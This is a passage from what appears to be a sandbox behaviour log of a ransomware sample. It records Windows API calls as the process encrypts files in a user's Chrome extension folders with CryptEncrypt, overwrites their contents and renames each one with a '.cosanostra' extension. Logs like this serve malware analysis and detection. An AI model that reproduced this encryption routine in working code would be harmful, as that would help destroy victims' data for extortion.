lpNumberOfBytesWritten=0x28dfa9c, lpOverlapped=0x0 | out: lpBuffer=0x28dfadc*, lpNumberOfBytesWritten=0x28dfa9c*=0x4, lpOverlapped=0x0) returned 1 [0085.725] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa9c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa9c*=0x30, lpOverlapped=0x0) returned 1 [0085.725] CloseHandle (hObject=0x188) returned 1 [0085.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.cosanostra")) returned 1 [0085.730] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfad0 | out: pbBuffer=0x28dfad0) returned 1 [0085.730] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfac8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfac8*=0x30) returned 1 [0085.730] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.730] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 162 [0085.730] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0085.808] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.808] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfa8c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa8c*=0x2800, lpOverlapped=0x0) returned 1 [0085.808] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.809] WriteFile (in: hFile=0x188, lpBuffer=0x28dfacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa8c, lpOverlapped=0x0 | out: lpBuffer=0x28dfacc*, lpNumberOfBytesWritten=0x28dfa8c*=0x4, lpOverlapped=0x0) returned 1 [0085.809] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa8c*=0x30, lpOverlapped=0x0) returned 1 [0085.809] CloseHandle (hObject=0x188) returned 1 [0085.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0085.811] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfac8 | out: pbBuffer=0x28dfac8) returned 1 [0085.811] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfac0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfac0*=0x30) returned 1 [0085.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.811] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 155 [0085.811] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.812] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x28dfa84, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa84*=0xcb, lpOverlapped=0x0) returned 1 [0085.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.812] WriteFile (in: hFile=0x188, lpBuffer=0x28dfac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa84, lpOverlapped=0x0 | out: lpBuffer=0x28dfac4*, lpNumberOfBytesWritten=0x28dfa84*=0x4, lpOverlapped=0x0) returned 1 [0085.812] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa84, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa84*=0x30, lpOverlapped=0x0) returned 1 [0085.812] CloseHandle (hObject=0x188) returned 1 [0085.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0085.816] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfac0 | out: pbBuffer=0x28dfac0) returned 1 [0085.816] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfab8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfab8*=0x30) returned 1 [0085.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.817] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 155 [0085.817] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.818] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28dfa7c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa7c*=0xdd, lpOverlapped=0x0) returned 1 [0085.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.818] WriteFile (in: hFile=0x188, lpBuffer=0x28dfabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa7c, lpOverlapped=0x0 | out: lpBuffer=0x28dfabc*, lpNumberOfBytesWritten=0x28dfa7c*=0x4, lpOverlapped=0x0) returned 1 [0085.818] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa7c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa7c*=0x30, lpOverlapped=0x0) returned 1 [0085.818] CloseHandle (hObject=0x188) returned 1 [0085.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0085.820] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfab8 | out: pbBuffer=0x28dfab8) returned 1 [0085.820] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfab0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfab0*=0x30) returned 1 [0085.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.820] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 155 [0085.820] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.821] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.821] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x28dfa74, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa74*=0xd2, lpOverlapped=0x0) returned 1 [0085.821] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.821] WriteFile (in: hFile=0x188, lpBuffer=0x28dfab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa74, lpOverlapped=0x0 | out: lpBuffer=0x28dfab4*, lpNumberOfBytesWritten=0x28dfa74*=0x4, lpOverlapped=0x0) returned 1 [0085.822] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa74, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa74*=0x30, lpOverlapped=0x0) returned 1 [0085.822] CloseHandle (hObject=0x188) returned 1 [0085.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0085.823] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfab0 | out: pbBuffer=0x28dfab0) returned 1 [0085.823] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfaa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfaa8*=0x30) returned 1 [0085.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.823] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 155 [0085.823] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.824] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.824] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x28dfa6c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa6c*=0xe9, lpOverlapped=0x0) returned 1 [0085.824] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.824] WriteFile (in: hFile=0x188, lpBuffer=0x28dfaac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa6c, lpOverlapped=0x0 | out: lpBuffer=0x28dfaac*, lpNumberOfBytesWritten=0x28dfa6c*=0x4, lpOverlapped=0x0) returned 1 [0085.825] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa6c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa6c*=0x30, lpOverlapped=0x0) returned 1 [0085.825] CloseHandle (hObject=0x188) returned 1 [0085.825] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0085.826] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfaa8 | out: pbBuffer=0x28dfaa8) returned 1 [0085.826] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfaa0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfaa0*=0x30) returned 1 [0085.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.826] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 155 [0085.827] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.827] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.828] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x28dfa64, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa64*=0xe4, lpOverlapped=0x0) returned 1 [0085.828] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.828] WriteFile (in: hFile=0x188, lpBuffer=0x28dfaa4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa64, lpOverlapped=0x0 | out: lpBuffer=0x28dfaa4*, lpNumberOfBytesWritten=0x28dfa64*=0x4, lpOverlapped=0x0) returned 1 [0085.828] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa64, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa64*=0x30, lpOverlapped=0x0) returned 1 [0085.828] CloseHandle (hObject=0x188) returned 1 [0085.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0085.829] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfaa0 | out: pbBuffer=0x28dfaa0) returned 1 [0085.829] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa98*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa98*=0x30) returned 1 [0085.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.830] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 155 [0085.830] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.831] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.831] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28dfa5c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa5c*=0xe6, lpOverlapped=0x0) returned 1 [0085.831] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.831] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa5c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa9c*, lpNumberOfBytesWritten=0x28dfa5c*=0x4, lpOverlapped=0x0) returned 1 [0085.831] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa5c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa5c*=0x30, lpOverlapped=0x0) returned 1 [0085.831] CloseHandle (hObject=0x188) returned 1 [0085.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0085.832] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa98 | out: pbBuffer=0x28dfa98) returned 1 [0085.832] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa90*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa90*=0x30) returned 1 [0085.832] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.833] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 155 [0085.833] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.834] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.834] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x28dfa54, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa54*=0xec, lpOverlapped=0x0) returned 1 [0085.834] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.834] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa54, 